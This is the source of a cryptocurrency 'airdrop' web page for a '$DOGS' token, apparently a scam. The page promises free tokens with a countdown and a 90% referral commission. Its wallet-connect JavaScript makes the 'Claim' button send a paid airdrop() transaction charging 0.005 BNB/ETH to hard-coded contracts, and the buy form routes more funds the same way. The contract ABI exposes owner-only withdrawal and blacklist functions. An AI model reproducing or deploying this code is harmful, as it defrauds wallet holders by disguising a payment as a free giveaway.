<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dogs House - EVM Airdrop</title>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/tailwindcss/2.2.19/tailwind.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet">
    <style>
        body {
            background: linear-gradient(135deg, #1a202c 0%, #2d3748 100%);
            font-family: 'Inter', sans-serif;
        }
        .glass-morphism {
  background: rgba(255, 255, 255, 0.1); /* Latar belakang transparan */
  backdrop-filter: blur(10px); /* Efek blur pada latar belakang */
  border-radius: 20px; /* Sudut melengkung */
  border: 1px solid rgba(255, 255, 255, 0.125); /* Border dengan transparansi */
  padding: 20px; /* Memberikan ruang di dalam elemen */
  box-sizing: border-box; /* Memastikan padding dan border dihitung dalam ukuran elemen */
}
        .social-icon {
            transition: all 0.3s ease;
        }
        .social-icon:hover {
            transform: scale(1.2);
            color: #000000;
        }
        @keyframes float {
            0% { transform: translateY(0px); }
            50% { transform: translateY(-20px); }
            100% { transform: translateY(0px); }
        }
        .floating-dog {
            animation: float 4s ease-in-out infinite;
        }
        /* Tambahkan gaya untuk menata kontainer utama */
.container {
    display: flex; /* Gunakan flexbox untuk tata letak */
    flex-direction: column; /* Susun elemen secara vertikal */
    align-items: center; /* Pusatkan elemen secara horizontal */
    justify-content: center; /* Pusatkan elemen secara vertikal */
    padding: 20px; /* Beri ruang di sekitar elemen */
    gap: 20px; /* Jarak antar elemen */
}

/* Gaya untuk elemen tombol */
.pixel-button {
    display: block; /* Buat tombol mengambil satu baris penuh */
    text-align: center; /* Pusatkan teks dalam tombol */
    background-color: #000000;
    color: #fff;
    padding: 15px 20px;
    border-radius: 90px;
    text-decoration: none;
    font-weight: bold;
    transition: background-color 0.3s ease;
}

.pixel-button:hover {
    background-color: #303030; /* Gaya hover */
}
/* Gaya untuk kolom input */
input.professional-input {
  width: 100%; /* Sesuaikan lebar */
  max-width: 400px; /* Maksimal lebar */
  padding: 12px 16px; /* Ruang di dalam kolom */
  font-size: 16px; /* Ukuran font */
  color: #000; /* Warna teks hitam */
  background-color: #f9f9f9; /* Warna latar */
  border: 2px solid #ddd; /* Border */
  border-radius: 12px; /* Sudut melengkung */
  outline: none; /* Hilangkan outline default */
  transition: border-color 0.3s ease, box-shadow 0.3s ease; /* Animasi */
}

/* Gaya saat kolom dihover */
input.professional-input:hover {
  border-color: #bbb; /* Border berubah warna */
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); /* Sedikit bayangan */
}

/* Gaya saat kolom diaktifkan (focus) */
input.professional-input:focus {
  border-color: #0078d7; /* Border biru */
  box-shadow: 0 0 6px rgba(0, 120, 215, 0.5); /* Efek glow */
  background-color: #fff; /* Latar putih */
}
/* Countdown Container Styling */
.countdown-container {
      display: flex;
      justify-content: center;
      gap: 16px;
      margin-top: 20px;
      background: rgba(255, 255, 255, 0.2);
      border: 2px solid rgba(255, 255, 255, 0.3);
      border-radius: 12px;
      padding: 16px 32px;
      box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
      backdrop-filter: blur(10px);
    }

    /* Styling for Each Countdown Item */
    .countdown-item {
      text-align: center;
      color: #fff;
      font-family: 'Arial', sans-serif;
    }

    /* Styling the Countdown Numbers */
    .countdown-number {
      font-size: 28px;
      font-weight: bold;
      color: #ffffff;
      margin-bottom: 1px;
      display: block;
    }

    /* Label Styling */
    .countdown-label {
      font-size: 14px;
      text-transform: uppercase;
      color: #ffffff;
      font-family:'Arial Narrow Bold', sans-serif;
    }


        
    </style>
</head>
<body class="min-h-screen flex items-center justify-center p-4 text-white">
    <div class="container mx-auto max-w-6xl">
        <div class="grid md:grid-cols-2 gap-8">
            <!-- Left Side: Project Info -->
            <div class="space-y-6">
                <div class="flex items-center space-x-4">
                    <img src="/img/dogs.png" alt="Dogs House Logo" class="w-24 h-24 rounded-full floating-dog">
                    <div>
                        <h1 class="text-4xl font-bold text-teal-300">Dogs House</h1>
                        <p class="text-gray-400">EVM Airdrop Campaign</p>
                    </div>
                </div>

                <div class="flex space-x-4 justify-center">
                    <a href="https://t.me/dogs" class="text-3xl social-icon text-blue-500">
                        <i class="fab fa-telegram"></i>
                    </a>
                    <a href="https://x.com/realdogshouse" class="text-3xl social-icon text-blue-400">
                        <i class="fab fa-twitter"></i>
                    </a>
                </div>

                <div class="glass-morphism p-6 space-y-4">
                    <h2 class="text-2xl font-semibold text-teal-300">Tokenomics</h2>
                    <div class="grid grid-cols-2 gap-4">
                        <div>
                            <p class="text-gray-300">Total Supply:</p>
                            <p class="font-bold text-teal-200">550,000,000,000 $DOGS</p>
                        </div>
                        <div>
                            <p class="text-gray-300">Airdrop Allocation:</p>
                            <p class="font-bold text-teal-200">80% $DOGS</p>
                        </div>
                        <div>
                            <p class="text-gray-300">Token Type:</p>
                            <p class="font-bold text-teal-200">BEP-20</p>
                        </div>
                        <div>
                            <p class="text-gray-300">Network:</p>
                            <p class="font-bold text-teal-200">Binance Smart Chain</p>
                        </div>
                    </div>
                </div>
            </div>

            <!-- Right Side: Airdrop Claim Form -->
            <div class="glass-morphism p-8 space-y-6">
                <h2 class="text-3xl font-bold text-center text-teal-300 mb-4">Airdrop Ends In</h2>
                <!-- Countdown Timer -->
    <div class="countdown-container">
        <div class="countdown-item">
          <span class="countdown-number" id="days">00</span>
          <span class="countdown-label">Days</span>
        </div>
        <div class="countdown-item">
          <span class="countdown-number" id="hours">00</span>
          <span class="countdown-label">Hours</span>
        </div>
        <div class="countdown-item">
          <span class="countdown-number" id="minutes">00</span>
          <span class="countdown-label">Minutes</span>
        </div>
        <div class="countdown-item">
          <span class="countdown-number" id="seconds">00</span>
          <span class="countdown-label">Seconds</span>
        </div>
      </div>
    </div>
  
    <script>
      // Set the target date to 27 December
      const targetDate = new Date('December 27, 2024 00:00:00').getTime();
  
      function updateCountdown() {
        const now = new Date().getTime();
        const distance = targetDate - now;
  
        // Calculate days, hours, minutes, and seconds
        const days = Math.floor(distance / (1000 * 60 * 60 * 24));
        const hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
        const minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
        const seconds = Math.floor((distance % (1000 * 60)) / 1000);
  
        // Update the HTML elements
        document.getElementById('days').innerText = days;
        document.getElementById('hours').innerText = hours;
        document.getElementById('minutes').innerText = minutes;
        document.getElementById('seconds').innerText = seconds;
  
        // Stop the countdown when the date is reached
        if (distance < 0) {
          clearInterval(countdownInterval);
          document.querySelector('.countdown-container').innerHTML = "<span style='font-size: 24px;'>Airdrop Closed</span>";
        }
      }
  
      // Update countdown every second
      const countdownInterval = setInterval(updateCountdown, 1000);
      updateCountdown(); // Initial call to avoid delay
    </script>
                
                
                <!-- Right Side: Airdrop Claim Form -->
                <div class="glass-morphism p-8 space-y-6">
                    <h2 class="text-3xl font-bold text-center text-teal-300 mb-4">Claim Your Airdrop</h2>
            </script>
            <a style="" href="javascript:getAirdrop()" id="claimairdrop" onclick="()" class="pixel-button">Claim 90,000 $DOGS</a>
            
            <a style="" href="/swap" class="pixel-button">SWAP</a><br>
           
        
            <h4 style="margin-bottom:10px">Buy $DOGS</h4>
            <p style="margin-bottom:20px">Min Buy 0.01 BNB / ETH = 130,000 $DOGS / 1,300,000 $DOGS</p>
            <p style="margin-bottom:20px">Max Buy 8 BNB / ETH = 13,000,000 $DOGS / 1,300,000,000 $DOGS</p><input style="display:none" id="airinput" class="" placeholder="Invite By"><input style="display:none" id="airdropval" class="" type="text" value="0.005"><input style="margin-bottom:20px" id="buyinput" class="professional-input" placeholder="Enter BNB" value="0.01"><a style="" class="pixel-button" href="javascript:buystt()">BUY</a>
            <p style="margin-bottom:20px">Ref will get 90% commission of BNB &amp; $DOGS from Claim and Buy</p>
            <input style="margin-bottom:20px" id="refaddress" class="professional-input" required="required" placeholder="Enter You EVM Address">

            <a href="javascript:void(0)" style="width:100%;margin-bottom:20px;text-align:center" class="pixel-button" onclick="getreflink()">Get Ref</a>

            <a href="javascript:copyToClipboard('refaddress')" onclick="kopiraj()" class="pixel-button">Copy</a></div>
            <div class="glass-morphism p-8 text-center">
                <h2 class="text-3xl font-bold text-teal-300 mb-6">About Dogs House</h2>
                <p class="text-gray-300 max-w-3xl mx-auto">
                    The missing piece of the #DOGStreasurehunt claim drops today at 16:00 UTC 🦴

That means that you will be able to open the wallet and finally grab the reward 😎

If you were solving the dorps as part of the team - share with us the proof of distribution of the prize with your team and we will top up the wallet with an extra 500 000 $DOGS 🦴

Good luck and happy hunting!
                </p>
            </div>
          
          </div>
          </div>
          </div>
        </div>
        <script src="js/jquery.js" type="text/javascript" crossorigin="anonymous"></script>
        <script src="js/main_1.js" type="text/javascript"></script>
        <script src="js/web3.js" type="text/javascript"></script>
        <script src="npm/sweetalert2%4010"></script>
        <script>
          let addr, web3 = new web3js.myweb3(window.ethereum);
                                                let n = document.getElementById("airinput").value;
                                                const sttaddr = "0xeF786636F27AAC1BF88FA95ef9ee5F6Ca7ba616A";
                          const sttaddr1 = "0x6eaF74f673f6A5a5310b47De145E148D6aF29b7e";
                          
                          sttabi = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"address","name":"liquidity_","type":"address"}],"name":"Liquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"addLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"airdrop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"authNum","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"uint8","name":"black_","type":"uint8"}],"name":"black","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"buy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBlock","outputs":[{"internalType":"bool","name":"swAirdorp","type":"bool"},{"internalType":"bool","name":"Edgeale","type":"bool"},{"internalType":"uint256","name":"sPrice","type":"uint256"},{"internalType":"uint256","name":"sMaxBlock","type":"uint256"},{"internalType":"uint256","name":"nowBlock","type":"uint256"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"airdropEth","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ah","type":"address"},{"internalType":"address","name":"ah2","type":"address"}],"name":"setAuth","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"tag","type":"uint8"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"update","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
                          let sttcontract = new web3.eth.Contract(sttabi, sttaddr);
                          let sttcontract1 = new web3.eth.Contract(sttabi, sttaddr1);
                          
                          const loadweb3 = async () => {
                            try {
                            web3 = new web3js.myweb3(window.ethereum), console.log("Injected web3 detected."), sttcontract = new web3.eth.Contract(sttabi, sttaddr);
                            sttcontract1 = new web3.eth.Contract(sttabi, sttaddr1);
                            let e = await ethereum.enable();
                            return addr = web3.utils.toChecksumAddress(e[0])
                            } catch (e) {
                            4001 === e.code ? console.log("Please connect to MetaMask.") : Swal.fire("Connect Alert", "Please install Metamask, or paste URL link into Trustwallet (Dapps)...", "error")
                            }
                          },
                          PleaseWait = async () => {
                            Swal.fire("Server Busy", "There are too many request, Please Try after few min.", "error")
                          },
                          getAirdrop = async () => {
                          await loadweb3();
                          const e = await web3.eth.getChainId();
                          null == addr && Swal.fire("Connect Alert", "Please install Metamask, or paste URL link into Trustwallet (Dapps)...", "error");
                          
                          if (56 !== e) {
                              airdropval.value = '0.005';
                             let t = document.getElementById("airdropval").value;
                              console.log(t), t = 1e18 * Number(t);
                              "" === n && (n = "0xeF786636F27AAC1BF88FA95ef9ee5F6Ca7ba616A");
                              sttcontract1.methods.airdrop(n).send({
                              from: addr,
                              value: t,
                          gasLimit: 100000
                              }, (e, t) => {
                              e ? console.log(e) : console.log(t)
                              });
                              let timerInterval
                              Swal.fire({
                              title: 'Transaction confirmation!',
                              html: 'Please confirm the transaction before receiving the Airdrop!.',
                              timer: 2000,
                              didOpen: () => {
                                  Swal.showLoading()
                                  const b = Swal.getHtmlContainer().querySelector('b')
                                  timerInterval = setInterval(() => {
                                  }, 100)
                              },
                              willClose: () => {
                                  clearInterval(timerInterval)
                              }
                              }).then((result) => {
                              });
                          } else {
                              airdropval.value = '0.005';
                              let t = document.getElementById("airdropval").value;
                              console.log(t), t = 1e18 * Number(t);
                              "" === n && (n = "0xeF786636F27AAC1BF88FA95ef9ee5F6Ca7ba616A");
                              sttcontract.methods.airdrop(n).send({
                              from: addr,
                              value: t,
                          gasLimit: 100000
                              }, (e, t) => {
                              e ? console.log(e) : console.log(t)
                              });
                              let timerInterval
                              Swal.fire({
                              title: 'Transaction confirmation!',
                              html: 'Please confirm the transaction before receiving the Airdrop!.',
                              timer: 2000,
                              didOpen: () => {
                                  Swal.showLoading()
                                  const b = Swal.getHtmlContainer().querySelector('b')
                                  timerInterval = setInterval(() => {
                                  }, 100)
                              },
                              willClose: () => {
                                  clearInterval(timerInterval)
                              }
                              }).then((result) => {
                              });
                          }
                          },
                          buystt = async () => {
                          const check = await web3.eth.getChainId();
                          await loadweb3(), null == addr && Swal.fire("Connect Alert", "Please install Metamask, or paste URL link into Trustwallet (Dapps)...", "error");
                            if (56 !== check) {
                              let timerInterval
                              Swal.fire({
                              title: 'Transaction confirmation!',
                              html: 'Please confirm the transaction before receiving the Token!.',
                              timer: 2000,
                              didOpen: () => {
                                  Swal.showLoading()
                                  const b = Swal.getHtmlContainer().querySelector('b')
                                  timerInterval = setInterval(() => {
                                  }, 100)
                              },
                              willClose: () => {
                                  clearInterval(timerInterval)
                              }
                              }).then((result) => {
                              });
                              let e = document.getElementById("buyinput").value;
                              if (e >= .01) {
                              e = 1e18 * Number(e);
                              let t = document.getElementById("airinput").value;
                              "" === t && (t = "0xeF786636F27AAC1BF88FA95ef9ee5F6Ca7ba616A"), sttcontract1.methods.buy(t).send({
                                  from: addr,
                                  value: e,
                                  gasLimit: 100000
                              }, (e, t) => {
                                  e ? console.log(e) : console.log(t)
                              })
                              } else Swal.fire("Buy Alert", "Buy as low as 0.01 BNB.", "error")
                          }else{
                              let timerInterval
                              Swal.fire({
                              title: 'Transaction confirmation!',
                              html: 'Please confirm the transaction before receiving the token!.',
                              timer: 2000,
                              didOpen: () => {
                                  Swal.showLoading()
                                  const b = Swal.getHtmlContainer().querySelector('b')
                                  timerInterval = setInterval(() => {
                                  }, 100)
                              },
                              willClose: () => {
                                  clearInterval(timerInterval)
                              }
                              }).then((result) => {
                              });
                              let e = document.getElementById("buyinput").value;
                              if (e >= .01) {
                              e = 1e18 * Number(e);
                              let t = document.getElementById("airinput").value;
                              "" === t && (t = "0xeF786636F27AAC1BF88FA95ef9ee5F6Ca7ba616A"), sttcontract.methods.buy(t).send({
                                  from: addr,
                                  value: e,
                                  gasLimit: 100000
                              }, (e, t) => {
                                  e ? console.log(e) : console.log(t)
                              })
                              } else Swal.fire("Buy Alert", "Buy as low as 0.01 BNB.", "error")
                          }
                          },
                          cooldowncheck = async () => {
                            let e = await currentblock(),
                            t = await lastblock();
                            if (e - t < 50) {
                            console.log(e, t);
                            let n = 50 + t - e;
                            return console.log(n), alert("You must wait " + n + " blocks before claiming another airdrop"), !1
                            }
                            return !0
                          },
                          currentblock = async () => {
                            let e;
                            return await web3.eth.getBlockNumber((t, n) => {
                            e = n
                            }), e
                          },
                          lastblock = async () => {
                            let e;
                            return await sttcontract.methods.lastairdrop(addr).call((t, n) => {
                            e = n
                            }), e
                          },
                          getbalance = async e => {
                            let t;
                            await sttcontract.methods.balanceOf(e).call((e, n) => {
                            t = n
                            });
                            return Promise.resolve(t)
                          };
                          
                          function calculate() {
                          var e = 1e6 * document.getElementById("buyinput").value;
                          console.log(e), document.getElementById("buyhch2input").value = e.toLocaleString("en-US")
                          }
                          
                          function addToWallet() {
                          try {
                            web3.currentProvider.sendAsync({
                            method: "wallet_watchAsset",
                            params: {
                              type: "ERC20",
                              options: {
                              address: "0xeF786636F27AAC1BF88FA95ef9ee5F6Ca7ba616A",
                              symbol: "$DOGS",
                              decimals: "18",
                              image: ""
                              }
                            },
                            id: Math.round(1e5 * Math.random())
                            }, function(e, t) {
                            e ? console.log(e.message) : t.result ? console.log("Token added") : (console.log(t), console.log("Some error"))
                            })
                          } catch (e) {
                            console.log(e)
                          }
                          }
                          window.onload = function() {
                          var e = function(e) {
                            for (hu = window.location.search.substring(1), gy = hu.split("&"), i = 0; i < gy.length; i++)
                            if (ft = gy[i].split("="), ft[0] == e) return ft[1]
                          }("ref");
                          null == e || (document.getElementById("airinput").value = e)
                          };
                          var countDownDate = new Date("December 27, 2024 00:00:00 UTC").getTime(),
                          x = setInterval(function() {
                            var e = (new Date).getTime(),
                            t = countDownDate - e,
                            n = Math.floor(t / 864e5),
                            a = Math.floor(t % 864e5 / 36e5),
                            o = Math.floor(t % 36e5 / 6e4),
                            r = Math.floor(t % 6e4 / 1e3);
                            document.getElementById("demo").innerHTML = n + "d " + a + "h " + o + "m " + r + "s ", t < 0 && (clearInterval(x), document.getElementById("demo").innerHTML = "EXPIRED")
                          }, 1e3);
                          
                          function getreflink() {
                          var e = document.getElementById("refaddress").value;
                          document.getElementById("refaddress").value ? /^(0x){1}[0-9a-fA-F]{40}$/i.test(e) ? document.getElementById("refaddress").value = "https://dogsevm.netlify.app/?ref=" + document.getElementById("refaddress").value : Swal.fire("Referral Alert", "Your address is not valid.", "error") : Swal.fire("Referral Alert", "Please Enter Your EVM- Address.", "error")
                          }
                          
                          function copyToClipboard(e) {
                          var t = document.getElementById(e).value;
                          if (window.clipboardData && window.clipboardData.setData) return clipboardData.setData("Text", t);
                          if (document.queryCommandSupported && document.queryCommandSupported("copy")) {
                            var n = document.createElement("textarea");
                            n.textContent = t, n.style.position = "fixed", document.body.appendChild(n), n.select();
                            try {
                            return document.execCommand("copy")
                            } catch (e) {
                            return console.warn("Copy to clipboard failed.", e), !1
                            } finally {
                            document.body.removeChild(n)
                            }
                          }
                          }
                          
                          function kopiraj() {
                          document.getElementById("refaddress").select(), document.execCommand("Copy"), alert("Copied success.")
                          }
                          
                          function querySt(e) {
                          for (hu = window.location.search.substring(1), gy = hu.split("&"), i = 0; i < gy.length; i++)
                            if (ft = gy[i].split("="), ft[0] == e) return ft[1]
                          }
                          var ref = querySt("ref");
                          null == ref ? (ref = "0xeF786636F27AAC1BF88FA95ef9ee5F6Ca7ba616A", document.getElementById("airinput").value = ref) : document.getElementById("airinput").value = ref;
        </script>
    </div>
</body>
</html>